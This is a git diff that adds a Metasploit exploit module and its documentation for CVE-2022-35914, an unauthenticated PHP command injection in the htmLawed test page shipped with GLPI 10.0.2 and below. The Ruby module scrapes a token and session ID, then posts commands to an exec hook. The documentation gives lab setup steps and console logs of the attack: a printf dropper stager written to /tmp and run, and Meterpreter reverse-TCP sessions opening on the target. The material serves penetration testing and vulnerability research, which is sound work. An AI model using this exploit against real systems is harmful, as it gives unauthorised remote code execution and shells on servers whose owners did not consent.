diff --git a/documentation/modules/exploit/linux/http/glpi_htmlawed_php_injection.md b/documentation/modules/exploit/linux/http/glpi_htmlawed_php_injection.md new file mode 100644 index 0000000000..182cb7692e --- /dev/null +++ b/documentation/modules/exploit/linux/http/glpi_htmlawed_php_injection.md @@ -0,0 +1,146 @@ +## Vulnerable Application + +GLPI versions 10.0.2 and below expose a vulnerable version on htmLawed which +has a php command injection opportunity. + +### Installation Instructions +Taken verbatim from https://www.imaginelinux.com/install-glpi-ubuntu/ +Using Ubuntu x64 Desktop 20.04.1 +1. ```sudo apt install apache2 php7.4 php7.4-curl php7.4-zip php7.4-gd php7.4-intl \ + php7.4-intl php-pear php7.4-imagick php-bz2 php7.4-imap php-memcache php7.4-pspell \ + php7.4-tidy php7.4-xmlrpc php7.4-xsl php7.4-mbstring php7.4-ldap php-cas php-apcu \ + libapache2-mod-php7.4 php7.4-mysql mariadb-server``` +2. `sudo systemctl status apache2` +3. `sudo systemctl status mariadb` +4. `sudo mysql_secure_installation` # Answer 'yes' to everything +5. `sudo mysql -u root -p` +6. `CREATE DATABASE glpidb;` +7. `GRANT ALL PRIVILEGES ON glpidb.* TO 'user'@'localhost' IDENTIFIED BY 'password';` +8. `FLUSH PRIVILEGES;` +9. `exit;` +10. Grab a vulnerable version here: https://github.com/glpi-project/glpi/releases/ +11. Extract that vulnerable version and move the files to `/var/www/html/glpi/` +12. `sudo chmod 755 -R /var/www/html/` +13. `sudo chown www-data:www-data -R /var/www/html/` +14. Create a virtual host if you want `sudo nano /etc/apache2/sites-available/glpi.conf` +``` + ServerAdmin admin@your_domain.com + DocumentRoot /var/www/html/glpi + ServerName your-domain.com + + + Options FollowSymlinks + AllowOverride All + Require all granted + + + ErrorLog ${APACHE_LOG_DIR}/your-domain.com_error.log + CustomLog ${APACHE_LOG_DIR}/your-domain.com_access.log combined + + +``` + +15. `sudo ln -s /etc/apache2/sites-available/glpi.conf /etc/apache2/sites-enabled/glpi.conf` +16. `sudo a2enmod rewrite` +17. `sudo systemctl restart apache2` +18. Visit the new server at http:///glpi +19. Follow setup instructions on screen + +## Options +No extra options to be set, but make sure the uripath is correct + +## Verification Steps +* Do: `msfconsole` +* Do: `use exploit/linux/http/glpi_htmlawed_php_injection` +* Do: `set upripath ` +* Do: `set rhost ` +* Do: `set lhost ` +* Do: **Verify** you get a session + +## Scenarios +### Using GLPI 9.5.9 running on Ubuntu 20.04.1 x64 +#### Linux Dropper +``` +msf6 exploit(linux/http/glpi_htmlawed_php_injection) > show options + +Module options (exploit/linux/http/glpi_htmlawed_php_injection): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 10.5.132.190 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit + RPORT 80 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + URIPATH /glpi/glpi/ no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + +Payload options (linux/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 10.5.135.109 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 1 Linux (Dropper) + + +msf6 exploit(linux/http/glpi_htmlawed_php_injection) > run + +[*] Started reverse TCP handler on 10.5.135.109:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] token = 4578e2880dfc8091a10c38ea60ead228 +[*] sid = vitn15j8j9f0lljrfu7daq9es8 +[+] The target appears to be vulnerable. +[*] Executing Linux (Dropper) for linux/x64/meterpreter/reverse_tcp +[*] Generated command stager: ["printf '\\177\\105\\114\\106\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\0\\76\\0\\1\\0\\0\\0\\170\\0\\100\\0\\0\\0\\0\\0\\100\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\100\\0\\70\\0\\1\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\100\\0\\0\\0\\0\\0\\0\\0\\100\\0\\0\\0\\0\\0\\372\\0\\0\\0\\0\\0\\0\\0\\174\\1\\0\\0\\0\\0\\0\\0\\0\\20\\0\\0\\0\\0\\0\\0\\110\\61\\377\\152\\11\\130\\231\\266\\20\\110\\211\\326\\115\\61\\311\\152\\42\\101\\132\\262\\7\\17\\5\\110\\205\\300\\170\\121\\152\\12\\101\\131\\120\\152\\51\\130\\231\\152\\2\\137\\152\\1\\136\\17\\5\\110\\205\\300\\170\\73\\110\\227\\110\\271\\2\\0\\21\\134\\12\\5\\207\\155\\121\\110\\211\\346\\152\\20\\132\\152\\52\\130\\17\\5\\131\\110\\205\\300\\171\\45\\111\\377\\311\\164\\30\\127\\152\\43\\130\\152\\0\\152\\5\\110\\211\\347\\110\\61\\366\\17\\5\\131\\131\\137\\110\\205\\300\\171\\307\\152\\74\\130\\152\\1\\137\\17\\5\\136\\152\\176\\132\\17\\5\\110\\205\\300\\170\\355\\377\\346'>>/tmp/bLaTw ; chmod +x /tmp/bLaTw ; /tmp/bLaTw ; rm -f /tmp/bLaTw"] +[*] execute_command +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045348 bytes) to 10.5.132.190 +[*] Command Stager progress - 100.00% done (809/809 bytes) +[*] Meterpreter session 4 opened (10.5.135.109:4444 -> 10.5.132.190:36378) at 2022-10-19 17:05:28 -0500 + +meterpreter > sysinfo +Computer : 10.5.132.190 +OS : Ubuntu 20.04 (Linux 5.15.0-52-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > exit +[*] Shutting down Meterpreter... +``` + +#### Unix Command +``` +[*] 10.5.132.190 - Meterpreter session 4 closed. Reason: Died +smsf6 exploit(linux/http/glpi_htmlawed_php_injection) > set target 0 +target => 0 +msf6 exploit(linux/http/glpi_htmlawed_php_injection) > set payload cmd/unix/python/meterpreter/reverse_tcp +payload => cmd/unix/python/meterpreter/reverse_tcp +msf6 exploit(linux/http/glpi_htmlawed_php_injection) > run + +[*] Started reverse TCP handler on 10.5.135.109:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] token = 154f788cf9a685dac8753df78c6c3a1c +[*] sid = 1mcp7n5vq9v6tnqlbm324qk9ce +[+] The target appears to be vulnerable. +[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp +[*] execute_command +[*] Sending stage (40168 bytes) to 10.5.132.190 +[*] Meterpreter session 5 opened (10.5.135.109:4444 -> 10.5.132.190:39622) at 2022-10-19 17:06:36 -0500 + +meterpreter > sysinfo +Computer : ubuntu-20041 +OS : Linux 5.15.0-52-generic #58~20.04.1-Ubuntu SMP Thu Oct 13 13:09:46 UTC 2022 +Architecture : x64 +System Language : C +Meterpreter : python/linux +meterpreter > exit +[*] Shutting down Meterpreter... +``` diff --git a/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb b/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb new file mode 100644 index 0000000000..405b20b829 --- /dev/null +++ b/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb @@ -0,0 +1,133 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'GLPI htmLawed php command injection', + 'Description' => %q{ + This exploit takes advantage of a unauthenticated php command injection available + from GLPI versions 10.0.2 and below to execute a command. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'cosad3s', # PoC https://github.com/cosad3s/CVE-2022-35914-poc + 'bwatters-r7' # module + ], + 'References' => [ + ['CVE', '2022-35914' ], + ['URL', 'https://github.com/cosad3s/CVE-2022-35914-poc'] + ], + 'Platform' => 'linux', + 'Arch' => [ARCH_X64, ARCH_CMD], + 'CmdStagerFlavor' => [ 'printf' ], + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp', + 'RPORT' => 80, + 'URIPATH' => '/glpi/' + } + } + ], + [ + 'Linux (Dropper)', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X64], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', + 'RPORT' => 80, + 'URIPATH' => '/glpi/' + }, + 'Type' => :linux_dropper + } + ], + ], + 'DisclosureDate' => '2022-01-26', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ] + } + ) + ) + end + + def populate_values + uri = "#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php" + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri), + 'connection' => 'keep-alive', + 'accept' => '*/*' + }) + @html = res.get_html_document + @token = @html.at_xpath('//input[@id="token"]')['value'] + vprint_status("token = #{@token}") + + # sometimes I got > 1 sid. We must use the last one. + @sid = res.get_cookies.match(/.*=(.*?);.*/)[1] + vprint_status("sid = #{@sid}") + rescue NoMethodError => e + elog('Failed to retrieve token or sid', error: e) + end + end + + def execute_command(cmd, _opts = {}) + populate_values if @sid.nil? || @token.nil? + uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php' + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri), + 'cookie' => 'sid=' + @sid, + 'ctype' => 'application/x-www-form-urlencoded', + 'encode_params' => true, + 'vars_post' => { + 'token' => @token, + 'text' => cmd, + 'hhook' => 'exec', + 'sid' => @sid + } + }) + end + + def check + populate_values if @html_doc.nil? + if @token.nil? || @sid.nil? || @html.nil? + return Exploit::CheckCode::Safe('Failed to retrieve htmLawed page') + end + return Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed') + + return Exploit::CheckCode::Safe('Unable to determine htmLawed status') + end + + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + execute_cmdstager + end + end + +end